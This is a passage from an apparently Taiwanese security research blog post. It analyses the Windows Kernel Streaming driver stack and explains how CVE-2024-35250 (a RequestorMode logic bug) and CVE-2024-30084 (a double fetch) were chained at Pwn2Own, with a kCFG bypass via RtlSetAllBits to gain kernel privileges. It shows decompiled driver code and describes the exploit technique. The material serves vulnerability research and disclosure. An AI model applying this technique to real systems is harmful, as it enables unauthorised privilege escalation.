<li>開啟設備後獲得設備 Handle</li> <li>使用這個 Handle 在這個 Filter 上建立 Pin 的 Instance 並獲得 Pin handle</li> <li>使用 IOCTL_KS_PROPERTY 設置 Pin 的狀態到 RUN</li> <li>最後就可以使用 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_read_stream">IOCTL_KS_READ_STREAM</a> 從這個 Pin 中讀資料進來</li> </ol> <h2 id="kernel-streaming-architecture">Kernel Streaming architecture</h2> <blockquote> <p>對漏洞研究而言,我們必須先了解其架構,思考有哪些可能的攻擊面</p> </blockquote> <p>在初步了解 Kernel Streaming 有哪些功能和操作後,為了找尋漏洞必須先了解一下架構,了解 Windows 是怎麼實作這些功能、分別有哪些元件等等,才知道應該要分析哪些 sys,從哪邊下手會比較好。</p> <p>經過我們分析後,整個架構約略會像這張圖所示 :</p> <p><img src="/assets/img/blog/20240823/9.png" alt="" /></p> <p>在 Kernel Stearming 元件中,最為核心的就是 ksthunk.sys 及 ks.sys,幾乎所有功能都會與它們有關。</p> <h3 id="ksthunk-kernel-streaming-wow-thunk-service-driver">ksthunk (Kernel Streaming WOW Thunk Service Driver)</h3> <p>Application 呼叫 DeviceIoControl 後,在 Kernel Streaming 中的<strong>入口點</strong>,但它功能很簡單,負責將 WoW64 process 中 32-bit 的 requests 轉換成 64-bit 的 requests,使得下層的 driver 就可以不必為 32 位元的結構另外處理。</p> <h3 id="ks-kernel-connection-and-streaming-architecture-library">ks (Kernel Connection and Streaming Architecture Library)</h3> <p>Kernel Streaming 的<strong>核心元件</strong>之一,它是 Kernel Streaming 的函示庫,負責及轉發 IOCTL_KS_PROPERTY 等 requests 到對應設備的 driver 中,同時也會負責處理 AVStream 的相關功能。</p> <h3 id="the-work-flow-of-ioctl_ks_">The work flow of IOCTL_KS_*</h3> <p>而在呼叫 DeviceIoControl 時,就會像下圖一樣,將使用者的 requests 依序給相對應的 driver 來處理</p> <p><img src="/assets/img/blog/20240823/10.png" alt="" /></p> <p>而到第 6 步時 ks.sys 就會根據你 requests 的 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ksproperty-structure">Property</a> 來決定要交給哪個 driver 及 handler 來處理你的 request。</p> <p><img src="/assets/img/blog/20240823/11.png" alt="" /></p> <p>最終再轉發給相對應的 Driver,如上圖中最後轉發給 portcls 中的 handler 來操作音訊設備。</p> <p>到這邊應該對 Kernel Streaming 的架構及流程有初步概念了,接下來就是找洞的時刻。依照現有的元素來看,哪些是值得一看的攻擊面呢?</p> <h3 id="from-attackers-view">From attacker’s view</h3> <blockquote> <p>在挖掘漏洞前,如果能仔細思考怎樣的情況下容易有洞,可以達到事半功倍的效果</p> </blockquote> <p>從一個漏洞研究員的角度來說,大概會有下列這幾個點</p> <ol> <li> <p>每個設備中的 Property handler 每個設備中的 KS Object 都有各自的 Property,而且每個 Property 都有各自的實作,有些 Property 處理起來容易出問題。</p> </li> <li> <p>ks 及 ksthunk ks 及 ksthunk 已經有很長一段時間沒有漏洞,但卻是個最容易接觸到的入口點,也許是一個好目標,上一次出現的漏洞是在 2020 年 <a href="https://x.com/nghiadt1098">@nghiadt1098</a> 所找到的兩個漏洞 <a href="https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-16889">CVE-2020-16889</a> 及 <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-17045">CVE-2020-17045</a></p> </li> <li> <p>每個 driver 都各自處理一部分的內容 在 Kernel Streaming 的部分功能中,有些 driver 會各自先處理部分的內容,可能會造成一些不一致性的問題。</p> </li> </ol> <p>我們針對上面幾個角度去對整個 Kernel Streaming 做 Code Review 後,很快的就發現了幾個比較容易發現的漏洞</p> <ul> <li>portcls.sys <ul> <li>CVE-2024-38055 (out-of-bounds read when set dataformat for Pin)</li> <li>CVE-2024-38056</li> </ul> </li> <li>ksthunk <ul> <li>CVE-2024-38054 (out-of-bounds write)</li> <li>CVE-2024-38057</li> </ul> </li> </ul> <p>不過我們這一篇不會一一講解這些漏洞,這幾個多數都是沒有檢查長度或是 index 之類的越界存取等等明顯的洞,也許會在後續的部分慢慢來講解,<a href="https://x.com/Fr0st1706">@Fr0st1706</a> 也在前陣子寫出了 CVE-2024-38054 的<a href="https://github.com/Black-Frost/windows-learning/tree/main/CVE-2024-38054">利用</a>,這邊就暫時留給讀者研究了。</p> <p>這篇要提的是,我們在 Review 過程中發現了一些有趣的事情。</p> <p>你覺得下面這段程式碼是否安全呢?</p> <pre><code class="language-cpp=">__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *irp, __int64 a3, int *a4) { if ( irp-&gt;RequestorMode ) { v14 = 0xC0000010; } else { UserBuffer = (unsigned int *)irp-&gt;UserBuffer; ... v14 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64 *)) (Type3InputBuffer + 0x38))(// call Type3InputBuffer+0x38 *UserBuffer, 0LL, v19); } } </code></pre> <p>看到這段程式碼讓我想起了 <a href="https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/">CVE-2024-21338</a>,該漏洞原先並沒有任何檢查,而在修補後則是新增了 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-exgetpreviousmode">ExGetPreviousMode</a>,但這邊檢查則是使用了 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp">IRP</a> 中的 RequestorMode 來做檢查,不過一般情況下從使用者呼叫的 IOCTL 的 RequestorMode 都會是 UserMode(1) 是不會有問題的。</p> <p>此時我又想起來 <a href="https://x.com/tiraniddo">James Forshaw</a> 的 <a href="https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html">Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager</a> 這篇文章。</p> <h2 id="the-overlooked-bug-class">The overlooked bug class</h2> <p>這邊我們必須先來提一下幾個名詞跟概念,不過如果你對 PreviousMode 及 RequestorMode 很熟悉,可以跳至 <a href="#A-logical-bug-class">A logical bug class</a></p> <h3 id="previousmode">PreviousMode</h3> <p>第一個是 PreviousMode,在 Application 中如果使用者透過 Nt* 等 System Service Call 來對設備或檔案中操作時,進入 Kernel 後就會在 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/kernel/eprocess#ethread">_ETHREAD</a> 中的 PreviousMode 標註 UserMode(1) 表示這個 System Service Call 是來自 User mode 的 Application。如果你是從 Kernel mode 中,例如設備 driver 呼叫 Zw* System Service Call 的 API 就會標記成 KernelMode(0)。</p> <p><img src="/assets/img/blog/20240823/12.png" alt="" /></p> <h3 id="requestormode">RequestorMode</h3> <p>另外一個類似的則是 IRP 中的 RequestorMode 這邊就是記錄你原始的 requests 是來自 UserMode 還是 KernelMode,在 Kernel driver 中的程式碼是非常常用到的欄位,通常會來自 PreviousMode。</p> <p>很常被用來決定是否要對來自使用者的 requests 做額外檢查,像是 Memory Access Check 或是 Security Access Check,例如下面這個例子中,如果 requests 來自 UserMode 就會檢查使用者提供的位置,如果是從 Kernel 來的,就不做額外檢查增加效率。</p> <p><img src="/assets/img/blog/20240823/13.png" alt="" /></p> <p>但實際上這也出現了一些問題…</p> <h3 id="a-logical-bug-class">A logical bug class</h3> <p>在 <a href="https://x.com/tiraniddo">James Forshaw</a> 的 <a href="https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html">Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager</a> 中,就提到了一種 Bug Class</p> <p>這邊可以先想想看,使用者呼叫 NtDeviceIoControlFile 之類的 System Service Call 之後,如果處理的 driver 又去用使用者可控的資料來作為 ZwOpenFile 的參數,會發生什麼事</p> <p><img src="/assets/img/blog/20240823/14.png" alt="" /></p> <p>在 driver 呼叫 ZwOpenFile 之後, PreviousMode 會轉換成為 <code class="language-plaintext highlighter-rouge">KernelMode</code>,並且在 NtOpenFile 處理時,就會因為 PreviousMode 是 <code class="language-plaintext highlighter-rouge">KernelMode</code> 的關係少掉大部分的檢查,而後續的 <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> 也會因此變成 <code class="language-plaintext highlighter-rouge">KernelMode</code> ,從而繞過 Security Access Check 及 Memory Access Check。不過這邊很看後續處理的 driver 怎麼去實作這些檢查,如果只依賴 RequestorMode 來決定要不要檢查,就可能會有問題。這邊省略了一些細節,實際上的狀況會稍微再複雜一點點,也會跟 CreateFile 的 flag 有關,細節可參考下列幾篇文章 :</p> <ul> <li><a href="https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html">Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager</a></li> <li><a href="https://googleprojectzero.blogspot.com/2021/01/hunting-for-bugs-in-windows-mini-filter.html">Hunting for Bugs in Windows Mini-Filter Drivers</a></li> <li><a href="https://msrc.microsoft.com/blog/2019/03/local-privilege-escalation-via-the-windows-i-o-manager-a-variant-finding-collaboration/">Local privilege escalation via the Windows I/O Manager: a variant finding collaboration</a></li> </ul> <p>這邊有這樣的概念就好,原先這些研究主要是在 Zw* 系列的 System Service Call 上面,大家可以思考一下,有沒有其他類似的情況,也可能造成這種邏輯漏洞呢?</p> <h4 id="the-new-bug-pattern">The new bug pattern</h4> <p>事實上來說是有的,使用 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuilddeviceiocontrolrequest">IoBuildDeviceIoControlRequest</a> 這個方法去創建一個 DeviceIoControl 的 IRP 時,萬一沒注意到也很容易有這樣的問題。這個 API 主要是 Kernel driver 用來呼叫 IOCTL 的其中一種方法,它會幫你建好 IRP,而後續在去呼叫 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-iofcalldriver">IofCallDriver</a>,就可以在 Kernel driver 中呼叫 IOCTL。在 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuilddeviceiocontrolrequest">Microsoft Learn</a> 中,有一段話特別值得注意 :</p> <p><img src="/assets/img/blog/20240823/15.png" alt="" /></p> <p>也就是預設情況下,如果你沒有特別去設置 RequestorMode 就會直接以 KernelMode 形式去呼叫 IOCTL。</p> <p><img src="/assets/img/blog/20240823/16.png" alt="" /></p> <p>按照這個思路,我們重新回頭審視一下我們的目標 Kernel Streaming,我們發現了一個吸引我們的地方。</p> <p><img src="/assets/img/blog/20240823/17.png" alt="" /></p> <p>在 Kernel Streaming 中使用這個 IoBuildDeviceIoControlRequest 地方是在 <code class="language-plaintext highlighter-rouge">ks!KsSynchronousIoControlDevice</code> ,而主要內容明顯就是在用剛剛提到的方法,在 Kernel 中呼叫 DeviceIoControl,不過這邊看似有好好的設置 <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code>,且會根據 KsSynchronousIoControlDevice 參數不同而去設置不同的數值,對於開發者來說會是一個方便的函式庫。</p> <p>然而…</p> <p>ks!CKsPin::GetState <img src="/assets/img/blog/20240823/18.png" alt="" /></p> <p>ks!SerializePropertySet <img src="/assets/img/blog/20240823/19.png" alt="" /></p> <p>ks!UnserializePropertySet <img src="/assets/img/blog/20240823/20.png" alt="" /></p> <p>我們發現到在 Kernel Streaming 中,全部有使用到 <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code> 的地方都是固定的使用 KernelMode(0),到這邊就可以仔細的檢查看看,有用到的地方是否有安全上的問題了。因此我們將 Kernel Streaming 中的 bug pattern 轉換成下列幾點:</p> <ol> <li>有使用 KsSynchronousIoControlDevice</li> <li>有可控的 <ul> <li>InputBuffer</li> <li>OutputBuffer</li> </ul> </li> <li>第二次處理 IOCTL 的地方有依賴 RequestorMode 做安全檢查,並且有可以作為提權利用的地方。 <img src="/assets/img/blog/20240823/21.png" alt="" /></li> </ol> <p>按照這個 Pattern 我們很快地就找到了第一個洞</p> <h2 id="the-vulnerability--exploitation">The vulnerability &amp; exploitation</h2> <h3 id="cve-2024-35250">CVE-2024-35250</h3> <p>這個漏洞也是我們今年在 <a href="https://x.com/thezdi/status/1770517322203070674">Pwn2Own Vancouver 2024 中所使用的漏洞</a>。在 Kernel Streaming 的 IOCTL_KS_PROPERTY 功能中,為了讓效率增加,提供了 <code class="language-plaintext highlighter-rouge">KSPROPERTY_TYPE_SERIALIZESET</code> 和 <code class="language-plaintext highlighter-rouge">KSPROPERTY_TYPE_UNSERIALIZESET</code> 功能允許使用者透過<strong>單一呼叫</strong>與多個 Property 進行操作。當我們用這功能時,這些 requests 將被 KsPropertyHandler 函數分解成多個呼叫,詳情可參考<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ksproperty-structure#remarks">這篇</a>。</p> <p>該功能實作在 ks.sys 中</p> <p><img src="/assets/img/blog/20240823/22.png" alt="" /></p> <p>上圖中可以看到,在 ks 處理 Property 時,如果有給上述的 flag 就會由 UnserializePropertySet 來處理你的 request</p> <p>我們這邊就先來看一下 UnserializePropertySet</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">UnserializePropertySet</span><span class="p">(</span> <span class="n">PIRP</span> <span class="n">irp</span><span class="p">,</span> <span class="n">KSIDENTIFIER</span><span class="o">*</span> <span class="n">UserProvideProperty</span><span class="p">,</span> <span class="n">KSPROPERTY_SET</span><span class="o">*</span> <span class="n">propertyset_</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="n">New_KsProperty_req</span> <span class="o">=</span> <span class="n">ExAllocatePoolWithTag</span><span class="p">(</span><span class="n">NonPagedPoolNx</span><span class="p">,</span> <span class="n">InSize</span><span class="p">,</span> <span class="mh">0x7070534Bu</span><span class="p">);</span> <span class="p">...</span> <span class="n">memmove</span><span class="p">(</span><span class="n">New_KsProperty_req</span><span class="p">,</span> <span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">Type3InputBuffer</span><span class="p">,</span> <span class="n">InSize</span><span class="p">);</span> <span class="c1">//------[1] </span> <span class="p">...</span> <span class="n">status</span> <span class="o">=</span> <span class="n">KsSynchronousIoControlDevice</span><span class="p">(</span> <span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">FileObject</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">IoControlCode</span><span class="p">,</span> <span class="n">New_KsProperty_req</span><span class="p">,</span> <span class="n">InSize</span><span class="p">,</span> <span class="n">OutBuffer</span><span class="p">,</span> <span class="n">OutSize</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">BytesReturned</span><span class="p">);</span> <span class="c1">//-----------[2]</span> <span class="p">...</span> <span class="p">}</span> </code></pre></div></div> <p>可看到在處理過程中會先將原始的 request,複製到新分配出來的 Buffer 中 [1],而後續就會使用這個 Buffer 來使用 KsSynchronousIoControlDevice 呼叫新的 IOCTL [2]。其中 <code class="language-plaintext highlighter-rouge">New_KsProperty_req</code> 及 <code class="language-plaintext highlighter-rouge">OutBuffer</code> 都是使用者所傳入的內容。</p> <p>而呼叫 UnserializePropertySet 時的流程,大概如下圖所示 :</p> <p><img src="/assets/img/blog/20240823/23.png" alt="" /></p> <p>這邊呼叫 IOCTL 時可以看到圖中第 2 步 I/O Manager 會將 <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> 設成 UserMode(1),直到第 6 步時,ks 會去判斷使用者 requests 的 Property 是否存在於該 KS Object 中,如果該 KS Object 的 Property <strong>存在</strong>,並且有設置 <code class="language-plaintext highlighter-rouge">KSPROPERTY_TYPE_UNSERIALIZESET</code> 就會用 <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code> 來處理指定的 Property</p> <p><img src="/assets/img/blog/20240823/24.png" alt="" /></p> <p>而接下來第 7 步就會呼叫 KsSynchronousIoControlDevice 重新做一次 IOCTL,而此時新的 <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> 就變成了 KernelMode(0) 了,而後續的處理就如一般的 IOCTL_KS_PROPERTY 相同,就不另外詳述了,總之我們到這裡已經有個可以任意做 IOCTL_KS_PROPERTY 的 primitive 了,接下來我們必須尋找看看是否有可以 EoP 的地方。</p> <h3 id="the-eop">The EoP</h3> <p>最先看到的想必就是入口點 ksthunk,我們這邊可以直接來看 <code class="language-plaintext highlighter-rouge">ksthunk!CKSThunkDevice::DispatchIoctl</code></p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="n">CKSThunkDevice</span><span class="o">::</span><span class="n">DispatchIoctl</span><span class="p">(</span><span class="n">CKernelFilterDevice</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="n">IRP</span> <span class="o">*</span><span class="n">irp</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">,</span> <span class="n">NTSTATUS</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="n">IoIs32bitProcess</span><span class="p">(</span><span class="n">irp</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">irp</span><span class="o">-&gt;</span><span class="n">RequestorMode</span> <span class="p">)</span> <span class="c1">//------[3]</span> <span class="p">{</span> <span class="c1">//Convert 32-bit requests to 64-bit requests</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">IoControlCode</span> <span class="o">==</span> <span class="n">IOCTL_KS_PROPERTY</span> <span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">CKSThunkDevice</span><span class="o">::</span><span class="n">CheckIrpForStackAdjustmentNative</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="n">a1</span><span class="p">,</span> <span class="n">irp</span><span class="p">,</span> <span class="n">v11</span><span class="p">,</span> <span class="n">a4</span><span class="p">)</span> <span class="c1">//-----[4];</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>ksthunk 會先判斷是否是 WoW64 的 Process 的 request,如果是就會將原本 32-bit 的 requests 轉換成 64-bit 的 [3],如果原本就是 64-bit 則會呼叫 <code class="language-plaintext highlighter-rouge">CKSThunkDevice::CheckIrpForStackAdjustmentNative</code> [4] 往下傳遞</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="n">CKSThunkDevice</span><span class="o">::</span><span class="n">CheckIrpForStackAdjustmentNative</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="k">struct</span> <span class="nc">_IRP</span> <span class="o">*</span><span class="n">irp</span><span class="p">,</span> <span class="n">__int64</span> <span class="n">a3</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_OWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">Type3InputBuffer</span><span class="o">-&gt;</span><span class="n">Set</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="n">_OWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">KSPROPSETID_DrmAudioStream</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">type3inputbuf</span><span class="p">.</span><span class="n">Id</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">type3inputbuf</span><span class="p">.</span><span class="n">Flags</span> <span class="o">&amp;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span> <span class="c1">//-----[5] </span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">irp</span><span class="o">-&gt;</span><span class="n">RequestorMode</span> <span class="p">)</span> <span class="c1">//-------[6]</span> <span class="p">{</span> <span class="n">v14</span> <span class="o">=</span> <span class="mh">0xC0000010</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">UserBuffer</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="n">irp</span><span class="o">-&gt;</span><span class="n">UserBuffer</span><span class="p">;</span> <span class="p">...</span> <span class="n">v14</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">__int64</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_QWORD</span><span class="p">,</span> <span class="n">_QWORD</span><span class="p">,</span> <span class="n">__int64</span> <span class="o">*</span><span class="p">))(</span><span class="n">Type3InputBuffer</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">))(</span><span class="c1">// call Type3InputBuffer+0x38</span> <span class="o">*</span><span class="n">UserBuffer</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="n">v19</span><span class="p">);</span> <span class="c1">//------------[7]</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>我們在 [5] 看到,如果我們給定的 Property Set 是 <a href="https://learn.microsoft.com/mt-mt/windows-hardware/drivers/audio/kspropsetid-drmaudiostream">KSPROPSETID_DrmAudioStream</a> ,就有特別的處理。而在 [6] 時,會先去判斷 Irp-&gt;RequestorMode 是否為 KernelMode(0),如果從 UserMode(1) 呼叫的 IOCTL 就會直接返回錯誤,但如果我們使用前面所說的 <code class="language-plaintext highlighter-rouge">KSPROPERTY_TYPE_UNSERIALIZESET</code> 來呼叫 IOCTL,並指定 <code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code> 這個 Property,那麼這裡 [6] 就會是 KerenlMode(0)。接下來就會在 [7] 直接使用使用者所傳入的內容做為 function 呼叫,甚至第一個參數是可控的,實際寫 PoC 後,驗證了我們的結果。</p> <p><img src="/assets/img/blog/20240823/25.png" alt="" /></p> <p>這邊可能會有人有疑惑,什麼設備或是情況下會有 <code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code> ?實際上來說音訊設備大多情況下都會有,主要是用來設置 DRM 相關內容用的。</p> <h3 id="exploitation">Exploitation</h3> <p>在有了任意呼叫之後,要達成 EoP 就不是太大的問題,雖然會遇到 kCFG、kASLR、SMEP 等等保護,但在 Medium IL 下唯一比較需要處理的就只有 kCFG。</p> <ul> <li><strong>kCFG</strong></li> <li>kASLR <ul> <li>NtQuerySystemInformation</li> </ul> </li> <li>SMEP <ul> <li>Reuse Kernel Code</li> </ul> </li> <li>…</li> </ul> <h4 id="bypass-kcfg">Bypass kCFG</h4> <p>那我們目標很簡單,就是從合法的 function 做出任意寫的 primitive,而之後就可以利用常見的方法<a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation#id-1.-replacing-tokens-for-privilege-escalation">用 System token 取代當前的 Process token</a> 或是 <a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">Abuse token privilege</a> 去做到 EoP。</p> <p>直覺地會直接去找看看,kCFG 中合法的 function 名稱有 set 的 function,比較可能是可以寫入的。我們這裡是直接拿 ntoskrnl.exe 中 export fucntion 去尋找看看是否有合法的 function,這些大多情況下都是合法的。</p> <p><img src="/assets/img/blog/20240823/26.png" alt="" /></p> <p>而很快的我們就找到了 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlsetallbits">RtlSetAllBits</a></p> <p><img src="/assets/img/blog/20240823/27.png" alt="" /></p> <p>它是個非常好用的 gadget 而且是 kCFG 中合法的 function,另外也只要控制一個參數 <code class="language-plaintext highlighter-rouge">_RTL_BITMAP</code></p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">_RTL_BITMAP</span> <span class="p">{</span> <span class="n">ULONG</span> <span class="n">SizeOfBitMap</span><span class="p">;</span> <span class="n">ULONG</span><span class="o">*</span> <span class="n">Buffer</span><span class="p">;</span> <span class="p">};</span> </code></pre></div></div> <p>我們可將 Buffer 指定到任意位置並指定大小,就可以將一段範圍的 bits 全部設置起來,到這邊就差不多結束了,只要 將 <code class="language-plaintext highlighter-rouge">Token-&gt;Privilege</code> 全部設置起來,就可以利用 Abuse Privilege 方法來做到 EoP 了。</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/j1wzwXLxdVs?si=aKURBnYWXvbAaXin" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <p>然而…在 Pwn2Own 比賽前,我們在 Hyper-V 上安裝一個全新 Windows 11 23H2 VM 測試 Exploit,結果失敗了。 而且是在開啟設備階段就失敗。</p> <p><img src="/assets/img/blog/20240823/28.png" alt="" /></p> <p>經過調查後發現到 Hyper-V 在預設情況下並不會有音訊設備,造成 exploit 會失敗。</p> <p><img src="/assets/img/blog/20240823/29.png" alt="" /></p> <p>在 Hyper-V 中,預設情況下只會有 MSKSSRV,然而 MSKSSRV 也沒有 KSPROPSETID_DrmAudioStream 這個 Property,使得我們無法成功利用這個漏洞達成 EoP,因此我們必須找其他方式觸發或者找新的漏洞,此時我們決定重新 Review 一遍整個流程,看看是否還有其他可能利用的地方。</p> <h3 id="cve-2024-30084">CVE-2024-30084</h3> <p>重新審視後,發現到 IOCTL_KS_PROPERTY 是使用 <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-neither-buffered-nor-direct-i-o">Neither I/O</a> 來傳遞資料的,也就是說會直接拿使用者的 Input buffer 來做資料上的處理,一般來說不太建議使用這個方法,很常出現 Double Fetch 的問題。</p> <p><img src="/assets/img/blog/20240823/30.png" alt="" /></p> <p>我們可從上圖中 KspPropertyHandler 看到,在使用者呼叫 IOCTL 之後,會直接將 Type3InputBuffer 複製到新分配出來的 Buffer 中,其中會存有 <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/stream/ksproperty-structure">KSPROPERTY</a> 結構,接下來會用這結構中的 GUID 來查詢 Property 是否有在該設備所支援的 Property 中,若存在才會繼續往下呼叫 <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code>。</p> <p>這邊我們再回頭看一眼 <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code>。</p> <p><img src="/assets/img/blog/20240823/31.png" alt="" /></p> <p>我們可以發現到,<strong>它又再次從 Type3InputBuffer 複製使用者所提供的資料</strong>做為新的 IOCTL 的輸入,很明顯的這邊就存在了一個 Double Fetch 的漏洞,因此我們將整個利用流程改成下圖的樣子</p> <p><img src="/assets/img/blog/20240823/32.png" alt="" /></p> <p>我們一開始發送 IOCTL_KS_PROPERTY 時,就會先以 MSKSSRV 既有的 Property <code class="language-plaintext highlighter-rouge">KSPROPSETID_Service</code> 來做後續操作,而在圖中第 6 步時,會先複製一份 Property 的 GUID 到 Kernel 中,而後再用這個 Property GUID 去查詢是否有在該 KS Object 的支援清單中,而這邊因為 MSKSSRV 有支援,就會往下呼叫 <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code>。</p> <p><img src="/assets/img/blog/20240823/33.png" alt="" /></p> <p>在呼叫 UnserializePropertySet 後,因為有 Double Fetch 的漏洞,讓我們可以在檢查後到使用之間,將 <code class="language-plaintext highlighter-rouge">KSPROPSETID_Service</code> 換成 <code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code> ,而接下來就可以讓 ks 使用 <code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code> 作為 requests 來發送 IOCTL,從而觸發前述了 CVE-2024-35250 邏輯漏洞,使這個漏洞不論在甚麼環境下都可以使用。</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/xNUj_XZ9LhQ?si=ONmvl9_8BV-z0idL" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <p>最終我們成功在 Pwn2Own Vancouver 2024 中,成功攻下 Micorsoft Windows 11。</p> <p><img src="/assets/img/blog/20240823/34.png" alt="" /></p> <p>在 Pwn2Own 結束後,經過我們調查,發現到這個漏洞從 Windows 7 就存在了,至少存在將近 20 年,而且利用上非常穩定,有著百分之百的成功率,強烈建議大家盡速更新至最新版本 。</p> <h2 id="to-be-continued">To be continued</h2> <p>這篇主要著重在我們如何找到今年在 Pwn2Own 中所使用的漏洞及 Kernel Streaming 的攻擊面分析。在找到這個洞之後,我們後續也持續朝這個方向繼續研究,也發現了另外一個也是 Exploitable 的漏洞以及其他更多有趣的漏洞,我們預計在今年十月發表,敬請期待 Part II。</p> <h2 id="reference">Reference</h2> <ul> <li><a href="https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/">Critically Close to Zero-Day: Exploiting Microsoft Kernel Streaming Service</a></li> <li><a 